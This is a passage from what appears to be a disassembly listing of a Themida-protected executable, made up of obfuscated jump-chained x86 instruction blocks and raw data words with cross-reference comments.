0FFFF78F9h ; --------------------------------------------------------------------------- loc_559678: ; CODE XREF: Themida_:0055147Bj pop edi mov eax, ecx pop ecx mov esi, 1DE62289h xor esi, eax pop eax inc esi push ecx jmp loc_55EB41 ; --------------------------------------------------------------------------- db 0FFh a4Ys db '4$Yé]š',0 align 4 dd 0D62D665Dh, 0D8016607h, 56FD68h, 2938E900h, 9AB90000h dd 0C17FCD00h, 0E9C108E9h, 33E6E902h, 14B80000h, 0B90D990Eh dd 0D990E10h, 0E958C131h, 4A44h ; --------------------------------------------------------------------------- loc_5596C8: ; CODE XREF: Themida_:00558113j push 3F8F6F61h pop eax push 457968F8h jmp loc_559CC0 ; --------------------------------------------------------------------------- dd 0FC587DBAh, 5AD33137h, 585BDF89h, 34FFF821h, 0A699E924h dd 24890000h, 9292E924h, 0C4830000h, 0E9505104h, 7F96h ; --------------------------------------------------------------------------- loc_559700: ; CODE XREF: Themida_:0055C635j pop eax std sub esp, 4 mov [esp], ebp jmp loc_55D419 ; --------------------------------------------------------------------------- dd 24048F5Ch, 67546859h, 1C890000h, 0A8B85024h, 0BB2A5C0Fh dd 2C58C5EAh, 3158C329h, 0EDF9E9D9h, 0F766FFFFh, 5F662414h dd 0FF86866h, 243C8966h, 2474FF66h, 3C8B6602h, 3586E924h dd 0EC810000h, 4, 89242C89h, 525350E5h, 4BAh, 5AD38900h dd 8904EC83h, 0EC832434h, 94A9E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559772: ; CODE XREF: Themida_:00561F0Aj add [esp], al pushf jmp loc_55C747 ; --------------------------------------------------------------------------- loc_55977B: ; CODE XREF: Themida_:0055DD57j xor ebx, [esp] mov esp, [esp] mov [esp], ecx jmp loc_550097 ; --------------------------------------------------------------------------- db 5, 90h, 2Ch dd 50515891h, 9D43F7B8h, 0E9C18904h, 0A984h, 20E9CC00h dd 51000069h, 500446B9h, 1C1837Ch, 0E981D9F7h, 7FE42A71h dd 0FBC18149h, 2915299Bh, 82E959CDh, 87000015h, 248B240Ch dd 4C48124h, 0E9000000h, 8028h, 81E38953h, 4C3h, 4EB8100h dd 87000000h, 8CE9241Ch db 36h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5597EB: ; CODE XREF: Themida_:00550371j pop ebx jmp loc_55E6AD ; --------------------------------------------------------------------------- db 0BBh, 2, 0 dd 0C1E90000h, 3100001Eh, 2434FFD5h, 4C4835Ah, 840C581h dd 0C5814392h, 0BA9D9AE1h, 875DE901h, 248B240Ch, 0E9C33024h dd 0FFFFF06Ch, 89243C89h, 4C781E7h, 83000000h, 22E904C7h dd 810000B4h, 4ECh, 240C8900h, 0E070B7B9h, 0E9CE892Fh dd 792Ch, 0C52EF381h, 0D90100FCh, 0FF68A9E9h db 0FFh ; --------------------------------------------------------------------------- loc_559855: ; CODE XREF: Themida_:00564794j dec edx dec edx add edx, 0AABCDD3h jmp loc_555472 ; --------------------------------------------------------------------------- dw 8B66h dd 9168240Ch, 89000076h, 5D54242Ch, 0A6B9E9h db 0 ; --------------------------------------------------------------------------- loc_559875: ; CODE XREF: Themida_:00565695j mov esi, 70DE3D70h and ecx, esi pop esi push ecx jmp loc_55EF2A ; --------------------------------------------------------------------------- aYs db 'YéÒ{',0 dd 243C8B00h, 57E38953h, 4BFh, 5FFB0100h, 4EC81h, 34890000h dd 3B49BE24h, 0C68142E0h, 79444635h, 5602E6C1h, 8B2414F7h dd 0C4832434h, 51D6F704h, 0FFC35FE9h, 63E981FFh, 577D8E75h dd 934595BFh, 0DBC78152h, 1DE89E9h, 0D9015FF9h, 2F70E981h dd 0C181311Dh, 7D8E7563h, 74FF515Bh, 0E9590424h, 17CBh dd 0E9240489h, 5457h, 5058C530h, 0FF7DC9E9h, 63BA52FFh dd 0C16FCA0Eh, 68E902E2h, 89FFFF85h, 0E789243Ch, 3697E9h db 0 ; --------------------------------------------------------------------------- loc_559919: ; CODE XREF: Themida_:00550A30j add esp, 4 mov eax, [esp] jmp loc_5528EE ; --------------------------------------------------------------------------- aXvssl db ')ÂXVéSL',0 align 10h dword_559930 dd 28B6664h, 9FD6866h, 24048966h, 9DA9E9h, 26176800h, 1C890000h ; DATA XREF: Themida_:0054FECCo dd 9395E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55994E: ; CODE XREF: Themida_:0055658Fj mov ecx, 586B18CDh add ecx, 14E62DE8h add ebx, ecx pop ecx pop ebp push eax jmp loc_55EA9C ; --------------------------------------------------------------------------- db 5Ch dd 2C8BE829h, 4C48324h, 6AB85055h, 0BD2E9F64h, 4763F099h dd 24E9C501h db 9Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55997F: ; CODE XREF: Themida_:00563424j push eax jmp loc_55B6A8 ; --------------------------------------------------------------------------- db 81h, 4, 24h dd 4, 6824148Bh, 741Fh, 0FF82BDE9h db 0FFh byte_559999 db 64h, 8Fh, 2 ; DATA XREF: Themida_:0054FDC0o dd 0FF66F6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5599A1: ; CODE XREF: Themida_:0055FC55j add eax, ebx push ecx mov ecx, 5DF34FBBh sub eax, ecx pop ecx pop ebx jmp loc_5512E3 ; --------------------------------------------------------------------------- dw 0EE81h dd 7A5B7A7Ch, 0E9F5015Bh, 0FFFF98A1h, 0E904C583h, 0FFFFCF92h dd 1FA4BE5Dh, 0DE298586h, 3918685Bh, 0BE90000h db 5Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5599DB: ; CODE XREF: Themida_:0056215Bj div cx push small 2800h mov [esp], dx push ax pushf jmp loc_550097 ; --------------------------------------------------------------------------- dw 0DA01h dd 814DE95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5599F6: ; CODE XREF: Themida_:0055ED4Aj pop esi add esi, 4 jmp loc_5504B4 ; --------------------------------------------------------------------------- dw 6DBFh dd 29761070h, 243C8BFBh, 4C481h, 0C3810000h, 0C804601h dd 2C3815Dh, 53000000h, 42474FFh, 0FFA3C6E9h db 0FFh ; --------------------------------------------------------------------------- loc_559A29: ; CODE XREF: Themida_:00554663j pop eax add edx, eax jmp loc_562160 ; --------------------------------------------------------------------------- db 0C1h, 0EBh, 2 dd 0C3814B43h, 0EAC711C0h, 815BD889h, 4ECh, 24348900h dd 12ABB951h, 0CE89474Ch, 83240C8Bh, 0F02104C4h, 2E8C15Eh dd 0E906E0C1h, 0FFFFC667h, 5D2CF9B3h, 0D828FE04h, 5D04FE2Ch dd 0EC835B66h, 241C8904h, 0FF7B08E9h db 0FFh ; --------------------------------------------------------------------------- loc_559A7D: ; CODE XREF: Themida_:0055390Bj mov edx, 36E30196h sub esi, edx jmp loc_5593C1 ; --------------------------------------------------------------------------- db 88h, 0D7h, 0E9h dd 0FFFFBFE5h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] xor edi, ecx jmp loc_55B545 ; --------------------------------------------------------------------------- dd 2434FF5Ah, 0E389535Bh, 5010E950h, 0DE680000h, 0E9000073h dd 0FFFFA7C0h, 0FF65CEE9h, 49C1BDFFh, 88E9107Fh, 0F7000019h dd 0ED814DDDh, 1, 1C581h, 0E5C10000h, 84F58107h, 107C338h dd 34875DEEh, 24248B24h, 582434FFh, 8904EC83h, 0A5E92414h dd 1000038h, 0AE0AE9FEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559B0A: ; CODE XREF: Themida_:0055C274j push ecx mov ecx, 5DC67211h push 55DDh mov [esp], edx mov edx, 73BE1843h not edx inc edx jmp loc_559B3A ; --------------------------------------------------------------------------- db 89h, 0C1h, 58h dd 7073C981h, 19E91AA7h, 31FFFFD2h, 7715E9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559B3A: ; CODE XREF: Themida_:00559B20j shl edx, 6 push esi mov esi, 669F470Ch sub esi, 1DB73624h jmp loc_553B4F ; --------------------------------------------------------------------------- dw 295Ah dd 7E0705F8h, 98E96050h db 34h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559B5B: ; CODE XREF: Themida_:005638ADj and edi, ebx pop ebx shr edi, 2 push ecx push edx jmp loc_558D54 ; --------------------------------------------------------------------------- loc_559B68: ; CODE XREF: Themida_:00561EE6j mov ebx, [esp] add esp, 4 push dword ptr [esp] pop ecx push edi mov edi, esp push ecx mov ecx, 72481BA4h jmp loc_557097 ; --------------------------------------------------------------------------- aBCrils4 db 'ÃcRëlé4,',0 align 2 loc_559B8E: ; CODE XREF: Themida_:0055CAFCj pop edx push 6A93h mov [esp], esi mov esi, 4D2D076Eh push eax mov eax, 4D2D076Ah xor esi, eax mov eax, [esp] add esp, 4 add ebp, esi jmp loc_55569A ; --------------------------------------------------------------------------- db 0F7h, 0DAh, 81h dd 8E1616EAh, 5BCA815Ch, 0E929176Eh, 5F95h ; --------------------------------------------------------------------------- loc_559BC4: ; CODE XREF: Themida_:005556A2j mov eax, 6AE33108h shl eax, 1 dec eax sub eax, 313BE1B2h sub ebx, eax mov eax, [esp] add esp, 4 and eax, ebx pop ebx shr eax, 0Bh xor ecx, eax jmp loc_55221B ; --------------------------------------------------------------------------- db 0B6h, 7Bh, 0F6h dd 4E02E9D6h, 81660000h, 6637A1F5h, 2C8BEE31h, 4C48124h dd 66000000h, 2B11C681h, 5EEC166h, 50665666h, 0FFBF8CE9h dd 4C481FFh, 30000000h, 1C8B66F8h, 2C48324h, 724768h, 24148900h dd 0E2C0D0B2h, 0B1515308h, 0ECB3F8h, 0EBC059CBh, 71E38003h dd 5366DBF6h, 66240CFEh, 0BBC3805Bh, 18E95351h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_559C53: ; CODE XREF: Themida_:00556B65j sub edi, 4235272Dh add edi, 42B1EEB5h jmp loc_55060B ; --------------------------------------------------------------------------- loc_559C64: ; CODE XREF: Themida_:0055622Dj mov esi, edi pop edi add esi, 11F30BC7h shr esi, 7 inc esi add esi, 583D5F0Ah and edx, esi pop esi shr edx, 1 jmp loc_55B9B7 ; --------------------------------------------------------------------------- db 58h, 57h, 89h dd 4C781E7h, 0E9000000h, 42C1h, 0C7746ABEh, 3E6C13Fh, 0EE81DEF7h dd 0D27FE681h, 348BF301h, 5A57E924h db 2 dup(0) word_559CAA dw 8B66h ; DATA XREF: Themida_:0054FF80o dd 0BD68240Ch, 89000009h, 0A68240Ch, 0E900007Bh, 8E3h ; --------------------------------------------------------------------------- loc_559CC0: ; CODE XREF: Themida_:005596D3j pop ebp jmp loc_55AF00 ; --------------------------------------------------------------------------- dw 505Ah dd 0E0C05EB0h, 6D88E903h, 0E9520000h, 0FFFF9FC7h, 1D6FB82Dh dd 8F04E909h, 48680000h, 0E9000009h, 82EFh, 0C7FE68B7h dd 9CE9EFD0h, 81FFFFC0h, 4C2h, 4EC8300h, 0BF243C89h, 18562849h dd 0EF83DFF7h, 0B4EF8101h, 1E7A9D7h, 0FB6FE9FAh, 4B9FFFFh dd 1000000h, 2434FFCFh db 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp xchg edi, [esp] mov esp, [esp] mul ecx jmp loc_555833 ; --------------------------------------------------------------------------- loc_559D45: ; CODE XREF: Themida_:0055BEBCj not edx xor edx, 68EC32EEh push edi mov edi, 56185FDCh or edx, edi pop edi jmp loc_5517F3 ; --------------------------------------------------------------------------- db 0FFh dd 148B2434h, 0E3895324h, 4C381h, 0C3810000h, 4, 5C241C87h dd 4C481h, 68660000h, 89667FD0h, 0EC812414h, 4, 0E9240C89h dd 0FFFFA670h ; --------------------------------------------------------------------------- loc_559D90: ; CODE XREF: Themida_:0055AF84j add esp, 4 add esp, 4 jmp loc_5620D8 ; --------------------------------------------------------------------------- dw 0ED81h dd 0B0A25F4h, 1132A82Dh, 0C582D1Bh, 0E8295B41h, 410C5805h dd 0B2E9535Bh db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559DBB: ; CODE XREF: Themida_:00550FDDj mov ecx, 0F4CCB0E1h jmp loc_55A33D ; --------------------------------------------------------------------------- db 56h, 55h, 54h dd 4C5815Dh, 81000000h, 4EDh, 242C8700h, 2414895Ch, 0C52D8668h dd 814A5A54h, 0A11FD6F2h, 8B5E5248h, 76E92414h, 81FFFFD8h dd 40ED64C1h, 59CE89EDh, 8106EEC1h, 7679D1EEh, 0DE42E9A9h db 2 dup(0FFh) word_559E0A dw 8956h ; DATA XREF: Themida_:0054FF48o dd 4C681E6h, 81000000h, 4EEh, 24348700h, 6824248Bh, 0CF4h dd 0FFE309E9h db 0FFh ; --------------------------------------------------------------------------- loc_559E29: ; CODE XREF: Themida_:005641FAj xor edi, 0B9FFA047h mov ebx, edi push dword ptr [esp] pop edi add esp, 4 not ebx shl ebx, 3 add ebx, 5AB47A94h add ebx, 1735762Bh push edi mov edi, 1 add ebx, edi jmp loc_563953 ; --------------------------------------------------------------------------- db 89h, 0C3h, 89h dd 5E0FE9DEh, 0B60F0000h, 8734FFC0h, 676468h, 24048900h dd 4055854h, 2D000000h, 4, 5C7A68h, 85D5E900h, 0C7810000h dd 7D6F5C86h, 481BEF81h, 0F7814FF1h, 67D50565h, 4BFCC781h dd 0FE21FFFFh, 14F7565Fh, 0F6815E24h, 0A5BDEA18h, 9AE9F329h dd 5D000063h, 0B866505Fh, 8EE95B4Eh, 68000096h, 48E8h dd 0B5240C89h, 0FFE83089h, 53592434h, 2434FF54h, 81241C8Bh dd 4C4h, 16026800h, 1C890000h, 815B5424h, 4C3h, 4C38100h dd 68000000h, 4B4Ah, 0E9241C89h, 6AF1h ; --------------------------------------------------------------------------- loc_559F00: ; CODE XREF: Themida_:00553512j mov [esp+4], bh mov ebx, [esp] push esi mov esi, esp jmp loc_55DE8D ; --------------------------------------------------------------------------- db 83h dd 0E2C1FFC2h, 0A4F28103h, 5132D60Eh, 0CE73A7B9h, 5E9C17Dh dd 124E981h, 0E2E9469Dh db 7Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559F2F: ; CODE XREF: Themida_:00557996j pop edx pop ecx loc_559F31: ; CODE XREF: Themida_:00564B45j sub esp, 4 mov [esp], ebp jmp loc_5507AD ; --------------------------------------------------------------------------- db 53h dd 241C8B54h, 4C481h, 0C3810000h, 4, 0FF851BE9h, 0CF8166FFh dd 0CDE9031Eh db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559F5F: ; CODE XREF: Themida_:00558A3Aj sub esi, 3A652DB9h add esi, edx jmp loc_550E42 ; --------------------------------------------------------------------------- dd 0E9240489h, 0D12h, 0E924248Bh, 0FFFFD997h, 5F2434FFh dd 4EC81h, 2C890000h, 81E58924h, 4C5h, 4C58100h, 0E9000000h dd 70C1h, 0D7E9565Bh, 0BEFFFF9Ah, 5FCB0C2Eh, 26BACE81h dd 0DEF7479Bh, 0E681DEF7h, 4C4108AFh, 882EE81h, 0F729FD3Eh dd 0EEBB535Eh, 8125C46Eh, 0F720CEC3h, 0CB98E971h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559FD2: ; CODE XREF: Themida_:0056235Ej xor esi, [esp] jmp loc_55BF07 ; --------------------------------------------------------------------------- dw 487h aYsxm db '$Yéxm',0 db 0 ; --------------------------------------------------------------------------- loc_559FE3: ; CODE XREF: Themida_:00551713j push 487h jmp loc_5605AE ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 53000000h, 8904EC83h, 67BA2414h, 68767C0Ah, 6444h, 0BD242C89h dd 124B73C9h, 0EB7C581h, 0ED810480h, 342A41A0h, 7291CD81h dd 0C581799Eh, 12F4D164h, 4B25F581h, 0EA0116C8h, 0BF2815Dh dd 0E9665B0Eh, 0CD5h, 24348156h, 60560ABBh, 81240C8Bh dd 4C4h, 0BBBD5500h, 0E960560Ah, 0FFFF81A9h, 0CC06DF05h dd 40D8F761h, 4CA12405h, 0E7BDE948h, 3A2DFFFFh, 40307533h dd 5602E8C1h, 1F6682BEh, 46D6F759h, 754FC681h, 0E9515B71h dd 0FFFFF622h, 0A4685053h, 58380349h, 0C40DD0F7h, 56E953Ch dd 4BEB7A36h, 0F1516335h, 1D5EE984h, 0E2810000h, 459147C9h dd 0D2F7DAF7h, 0FFB712E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A0B1: ; CODE XREF: Themida_:0055714Ej xor ebx, 8755DD50h mov ecx, ebx jmp loc_563BE9 ; --------------------------------------------------------------------------- dw 0ED81h dd 5276ABB4h, 295DE989h, 143359CAh, 0D081E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A0D2: ; CODE XREF: Themida_:00553538j mov [esp], edi jmp loc_565105 ; --------------------------------------------------------------------------- loc_55A0DA: ; CODE XREF: Themida_:00558390j mov edx, esi jmp loc_562094 ; --------------------------------------------------------------------------- db 29h, 0DAh, 5Bh dd 0C281CA01h, 1280978h, 2C28359h, 31D168h, 0ED8AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A0FA: ; CODE XREF: Themida_:0055B54Dj dec dword ptr [esp] jmp loc_55B901 ; --------------------------------------------------------------------------- aHiv db '^^hIV',0 dd 24048900h, 14685253h, 5A46031Bh, 6B0BEA81h, 64E97B9Bh dd 810000B2h, 9B6767EAh, 1BE566Eh, 29000000h, 0CA815EF2h dd 64946A44h, 0FB58F281h, 0D701FFF4h, 0E92434FFh, 0FFFFB893h ; --------------------------------------------------------------------------- loc_55A144: ; CODE XREF: Themida_:00559479j push esi mov esi, esp jmp loc_550DD0 ; --------------------------------------------------------------------------- dd 68243C89h, 77B414D9h, 5F2434FFh, 547668h, 240C8900h dd 0C181E189h, 4, 0FFDA54E9h, 8BF801FFh, 0C481243Ch, 4 dd 5558C531h, 0AC62DBBDh, 310CE97Eh, 4830000h, 50590424h dd 339C68h, 243C8900h, 0B88B951h, 0E1811871h, 7661579Dh dd 0E908E9C1h, 0FFFF7F52h, 3AE9D9F7h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55A1AF: ; CODE XREF: Themida_:00558D5Bj pop edx jmp loc_5524BE ; --------------------------------------------------------------------------- loc_55A1B5: ; CODE XREF: Themida_:0055E0A1j push esi jmp loc_556331 ; --------------------------------------------------------------------------- db 89h dd 0CE0958C1h, 0FF6D5EE9h, 0B8BA52FFh, 0E937412Ch, 2B61h dd 335EF001h, 4312404h, 8929E924h, 248BFFFFh, 24048F24h dd 0FBB9515Ch, 0E973376Fh, 0FFFFE0C4h, 919AEE81h, 8953B333h dd 5BDA89F3h, 8748E95Eh, 0C681FFFFh, 41D176D4h, 4A72E9h dd 24448100h, 0CF765F04h, 815E5A77h, 4C6h, 4EC8300h, 0BB241C89h dd 2, 0FFEADEE9h, 2E7C1FFh, 1B76BE56h, 0E6814F2Bh, 47EA1B5Fh dd 0F1EE8146h, 9DC0308h, 0EF815EF7h, 0EBFF1F74h, 815FFD89h dd 0D3553EE9h, 81E90162h, 0D3553EC1h, 0A696E962h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A262: ; CODE XREF: Themida_:005533FBj shr ebx, 1 or ebx, 167A7A1Ah and ebx, 5BD52A61h add ebx, 60283125h add ebx, 8D06A49Fh add esi, ebx pop ebx jmp loc_556698 ; --------------------------------------------------------------------------- a0Sw db '0ÁéW³',0 db 0 ; --------------------------------------------------------------------------- loc_55A28B: ; CODE XREF: Themida_:0055AF2Bj pop ecx add esp, 4 sub ecx, 77DF32A7h push edx jmp loc_5583EE ; --------------------------------------------------------------------------- loc_55A29E: ; CODE XREF: Themida_:00555CC7j add ecx, edi mov edi, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] push ebx mov ebx, 8A63448h inc ebx not ebx jmp loc_55392F ; --------------------------------------------------------------------------- db 0B8h, 0DFh, 1Ah dd 20E93C0Bh db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A2C7: ; CODE XREF: Themida_:0055134Cj push edx mov edx, 4 add esi, edx pop edx xor esi, [esp] xor [esp], esi jmp loc_5580B8 ; --------------------------------------------------------------------------- db 81h dd 266F31CDh, 3ED8164h, 4D3AC437h, 0FF7CC1E9h, 0EDC14DFFh dd 9651E905h, 8950FFFFh, 405E0h, 4050000h, 87000000h, 665C2404h dd 8B66FB01h, 38E9243Ch db 0D3h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A313: ; CODE XREF: Themida_:0055B056j add ebx, 0F98610Fh jmp loc_55272D ; --------------------------------------------------------------------------- loc_55A31E: ; CODE XREF: Themida_:0055C1FDj sub esi, eax pop eax sub ebx, esi mov esi, [esp] add esp, 4 mov eax, [esp] add esp, 4 sub esp, 4 jmp loc_55C98B ; --------------------------------------------------------------------------- loc_55A33D: ; CODE XREF: Themida_:00559DC0j add ecx, eax mov eax, [esp] jmp loc_563FE6 ; --------------------------------------------------------------------------- db 1 dd 9DE95FF9h, 58000094h, 592434FFh, 57E38953h, 0A871ADBFh dd 0B2D7E978h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A362: ; CODE XREF: Themida_:00554541j movsx ecx, al push 3DD5h mov [esp], ebp mov ebp, esp add ebp, 4 jmp loc_557011 ; --------------------------------------------------------------------------- dw 43BBh dd 0C121B907h, 0EB8102E3h, 4DF2552Dh, 0FF9092E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A38D: ; CODE XREF: Themida_:005566D5j pop ebx jmp loc_55C195 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0C5BE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A39E: ; CODE XREF: Themida_:00556E14j mov [esp], ebp push dword ptr [esp+4] pop ebp jmp loc_55C431 ; --------------------------------------------------------------------------- loc_55A3AB: ; CODE XREF: Themida_:00564A64j add esp, 4 jmp loc_5509FC ; --------------------------------------------------------------------------- loc_55A3B3: ; CODE XREF: Themida_:005538A0j pop eax jmp loc_55A676 ; --------------------------------------------------------------------------- loc_55A3B9: ; CODE XREF: Themida_:0055D57Bj push dword ptr [esp] pop esi push ebp mov ebp, esp jmp loc_5505B4 ; --------------------------------------------------------------------------- db 0BDh, 0B9h, 74h dd 52453A0Eh, 54438BAh, 0DDC28137h, 814DA46Dh, 8049C4F2h dd 0C2814A26h, 91C13D4Dh, 2AE9D509h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A3EB: ; CODE XREF: Themida_:0055FA6Ej add ebp, 3A2661C6h shr ebp, 3 xor ebp, 0DC5F1ECh jmp loc_551260 ; --------------------------------------------------------------------------- db 0F7h dd 114CE9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A406: ; CODE XREF: Themida_:0055B030j pop eax add edx, 4 xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push edi mov edi, 4B64026Bh jmp loc_557603 ; --------------------------------------------------------------------------- db 4Dh dd 0DDF7DDF7h, 0EA89BB53h, 0DD31CACFh, 5DEF315Bh, 3C8BFD01h dd 7806E924h, 81580000h, 707086C5h, 81CD0179h, 707086EDh dd 3EC58179h, 5968907Eh, 41A4E9h db 0 ; --------------------------------------------------------------------------- loc_55A455: ; CODE XREF: Themida_:00553D53j mov esi, ecx pop ecx sub eax, 0F4434C2h jmp loc_557DEF ; --------------------------------------------------------------------------- dw 3031h dd 2434FF58h, 4C4835Ah, 8324348Bh, 0D23104C4h, 2CF768h dd 242C8900h, 4EC81h, 22E90000h, 81FFFF92h, 2238A4EBh dd 5BDF01CBh, 0EF81D701h, 6B316862h, 0FFA77EE9h, 4C381FFh dd 0E9000000h, 0FFFF67BFh, 5FFE015Ah, 31243433h, 34332434h dd 0F1F75C24h, 250368h, 242C8900h, 0FF6EE9E9h, 241489FFh dd 0FFCAF4E9h, 0E5C181FFh, 0E936B019h, 6D8h, 5AC7F381h dd 0A4E94DEBh, 81FFFFFFh, 4EEh, 24348700h, 8924248Bh, 5F54243Ch dd 4C781h, 0C7830000h, 243C3304h, 33243C31h, 0F9E9243Ch dd 510000A0h, 1264BD55h, 0E989599Ch, 4AC1815Dh, 0E92BEC27h dd 28B4h, 5C242C87h, 0E9D18851h, 616h, 0FF5B66E9h, 6A44BBFFh dd 0E3815904h, 44DC6AEDh, 0EB81D3F7h, 76D05408h, 383FC381h dd 81431770h, 0E3DFAFC3h, 5BDA31D8h, 0FFB524E9h, 4C481FFh dd 8B000000h db 2Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push esi push 2346h mov [esp], ecx mov ecx, 2B8D67FFh jmp loc_5593C7 ; --------------------------------------------------------------------------- dw 5401h dd 0E95A0424h, 851Bh, 0C281E289h, 4, 4C281h, 0B1E90000h dd 59FFFFC9h, 35E9FE21h, 68000066h, 6F95h, 0FFF141E9h db 0FFh ; --------------------------------------------------------------------------- loc_55A5AD: ; CODE XREF: Themida_:0055604Cj mov ebx, 7E221960h and ebp, ebx pop ebx sub ebp, 793DB1BDh jmp loc_554147 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C4812404h, 4, 0E9E18951h, 0FFFF71F0h, 8245C29h dd 8246C81h, 2415540Ch, 101BE9h, 3E306800h, 1C890000h dd 0FBE95624h, 81000030h, 4C4h, 24048F00h, 0E924248Bh dd 218Bh, 0FF5A8EE9h, 4EC81FFh, 0E9000000h, 0FFFF6290h ; --------------------------------------------------------------------------- loc_55A614: ; CODE XREF: Themida_:00560048j pop edx sub bl, ah jmp loc_564BD1 ; --------------------------------------------------------------------------- loc_55A61C: ; CODE XREF: Themida_:00560D73j add esp, 4 and ecx, 257374AAh push eax mov eax, esp jmp loc_55C157 ; --------------------------------------------------------------------------- db 1, 0DAh, 5Bh dd 8B241487h, 202C2424h, 2004D028h, 0FC3305Ah, 8F66C0B6h dd 4CE98704h db 5Ah, 2 dup(0FFh) byte_55A64B db 0FFh ; DATA XREF: Themida_:0054FFFCo dd 0BCE92434h db 0AEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A653: ; CODE XREF: Themida_:00551B90j push 4A24h jmp loc_565478 ; --------------------------------------------------------------------------- db 89h, 0CEh, 59h dd 0DEE9F031h db 79h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A667: ; CODE XREF: Themida_:00556E32j pop dword ptr [esp] pop esp pop ecx push 2562h jmp loc_55487A ; --------------------------------------------------------------------------- loc_55A676: ; CODE XREF: Themida_:0055A3B4j add edi, edx add edi, 68C07465h pop edx push eax jmp loc_551A84 ; --------------------------------------------------------------------------- db 5Fh, 31h, 0D1h dd 0E924148Bh, 0FFFFC01Ch, 8759CB01h, 248B241Ch, 242C8B24h dd 0C8B5451h, 4C48324h, 4C181h, 0EC830000h, 608CE904h dd 0D7290000h, 81D7295Ah, 9A0EFBC7h, 0EF815A30h, 391D04C5h dd 0C781CF01h, 391D04C5h, 99D1E9h, 4C48100h, 81000000h dd 2C1h, 86A8E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55A6E2: ; CODE XREF: Themida_:00560FC8j add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push ecx mov ecx, 4404408Ah or ecx, 0E4C3FF0h shl ecx, 1 push esi jmp loc_552C95 ; --------------------------------------------------------------------------- dd 0E9E8295Dh, 0FFFF8B2Eh, 0E9DE015Dh, 0FFFFC15Ch dword_55A718 dd 24048B66h, 5A545255h, 4C281h, 0EA830000h, 24148704h ; DATA XREF: Themida_:0054FE7Co dd 5342E9h db 0 ; --------------------------------------------------------------------------- loc_55A731: ; CODE XREF: Themida_:005563D7j mov cl, 2Ch neg cl not cl sub cl, 65h and dl, cl jmp loc_563CFD ; --------------------------------------------------------------------------- loc_55A741: ; CODE XREF: Themida_:00560887j mov [esp], edi sub esp, 4 jmp loc_554F2A ; --------------------------------------------------------------------------- loc_55A74F: ; CODE XREF: Themida_:00558B3Aj sub ecx, eax sub ecx, 12F53ED2h mov eax, [esp] add esp, 4 and eax, ecx mov ecx, [esp] add esp, 4 or eax, eax jz loc_557B53 push dword ptr [edi+1Ch] push ebp push esi push 3F4B6E72h push dword ptr [esp] jmp loc_56249A ; --------------------------------------------------------------------------- db 57h, 0BFh, 4 dd 81000000h, 0D677A5C5h, 0E9FD0157h, 0FFFFAF42h, 58C6095Bh dd 7A61EE81h, 0E951FD71h, 0FFFF6AE1h ; --------------------------------------------------------------------------- loc_55A7A8: ; CODE XREF: Themida_:00550758j mov edx, 1 jmp loc_55E178 ; --------------------------------------------------------------------------- loc_55A7B2: ; CODE XREF: Themida_:00564D03j push ebx push 1ED6h mov [esp], esp add dword ptr [esp], 4 pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] mov esp, [esp] push ecx mov ecx, 7112758Ah jmp loc_555A49 ; --------------------------------------------------------------------------- byte_55A7DD db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FF1Co dd 0E2895224h, 4BD55h, 0EA810000h, 686B04FFh, 8953EA01h dd 4C381E3h, 83000000h, 1C8704EBh, 2C895C24h, 4F58BD24h dd 0FCE97EBFh, 81FFFFE3h, 4C4h, 24048F00h, 24048F5Ch, 0FF24248Bh dd 0CBCE930h, 575E0000h, 306D3BBFh, 0E9EF8706h, 0FFFFD70Fh dd 7F1CE581h, 0ED815F7Ch, 0EB49122Dh, 815DEA01h, 5731C9EAh dd 59B9511Ch, 18AC1B0h, 896CE9CAh, 815D0000h, 181473EDh dd 0E9EF892Bh, 5ADCh, 42474FFh, 24048F5Bh, 81CAE95Ch, 0CDBFFFFFh dd 81318462h, 0C56A99CFh, 0EF814F01h, 44522BABh, 0FF7199E9h dd 11F668FFh, 815921B1h, 0F110D1F1h, 0E9CF8933h, 6E1Bh dd 5818D768h, 5B2DE974h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55A8A6: ; CODE XREF: 